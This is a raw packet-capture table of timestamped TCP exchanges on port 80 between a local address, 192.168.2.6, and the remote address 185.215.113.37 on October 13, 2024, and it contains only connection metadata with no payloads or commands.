Oct 13, 2024 14:49:25.684192896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.684201002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.684210062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.684220076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.684220076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.684230089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.684240103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.684257984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.684276104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768129110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768141985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768171072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768192053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768254042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768271923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768282890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768292904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768326044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768357038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768389940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768399954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768450975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768517971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768528938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768537998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768548012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768562078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768589020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768758059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768768072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768776894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768786907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768795967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768805027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768805027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768816948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.768831015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.768856049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769012928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769023895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769033909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769042969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769054890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769092083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769191980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769202948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769212008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769224882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769244909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769273996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769326925 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769337893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769346952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769365072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769404888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769424915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769434929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769443989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769454002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769464970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769473076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769474983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769485950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.769510031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.769536972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770035028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770044088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770052910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770062923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770071983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770082951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770091057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770101070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770102024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770116091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770124912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770127058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770136118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770145893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770150900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770154953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770165920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770175934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770175934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770185947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770195961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770198107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770206928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770215988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770216942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770227909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770234108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770236015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770268917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770301104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770673037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770745039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770874977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770884991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770895004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770905018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770914078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770924091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770937920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770945072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770945072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770948887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770958900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770968914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770977974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770987988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.770992994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.770997047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771007061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771015882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771027088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771064043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771631956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771648884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771668911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771680117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771682978 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771689892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771699905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771699905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771711111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771720886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771730900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771740913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771749973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771759987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771770000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771780014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771789074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771801949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771811008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771821022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771830082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771835089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771835089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771835089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771840096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771850109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.771853924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771853924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771853924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771872997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.771910906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.772595882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772607088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772615910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772625923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772634983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772644997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772655010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772656918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.772665024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772674084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772679090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772684097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772686958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772691011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772696018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772701025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772705078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.772711039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772721052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772732019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772741079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772749901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772758961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.772809029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.772857904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.773344040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.773355961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.773367882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.773386955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.773413897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873177052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873193026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873202085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873210907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873219967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873228073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873236895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873245955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873326063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873326063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873533010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873547077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873574972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873601913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873620033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873630047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873641968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873651981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873655081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873661995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873655081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873655081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873656034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873656034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873682022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873692036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873702049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873713017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873713017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873722076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873753071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873759985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873770952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873774052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873780966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873797894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873801947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873816013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873836994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873836040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873847008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873852968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873857021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873866081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873871088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873876095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873882055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873884916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873895884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873905897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873910904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873920918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.873941898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873959064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.873995066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874124050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874140978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874150991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874159098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874174118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874206066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874206066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874239922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874248981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874260902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874269009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874290943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874319077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874409914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874418974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874429941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874444962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874452114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874454975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874463081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874471903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874475002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874483109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874502897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874533892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874747992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874773026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874782085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874790907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874795914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874804974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874804974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874814034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874824047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874831915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874835014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874841928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874850988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874855995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874860048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874876022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874877930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874878883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874886990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874897003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874905109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874907017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.874926090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.874950886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875233889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875243902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875287056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875320911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875329971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875338078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875376940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875422955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875433922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875442982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875452995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875463009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875463963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875474930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875485897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875485897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875498056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875504971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875508070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875530005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875552893 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875750065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875761986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875787020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875803947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875809908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875814915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875824928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875835896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875837088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875845909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875855923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.875855923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875886917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.875916958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876080036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876090050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876138926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876302004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876317978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876327038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876337051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876339912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876347065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876355886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876364946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876374006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876375914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876383066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876393080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876400948 CEST	80	49720	185.215.113.37	192.168.2.6
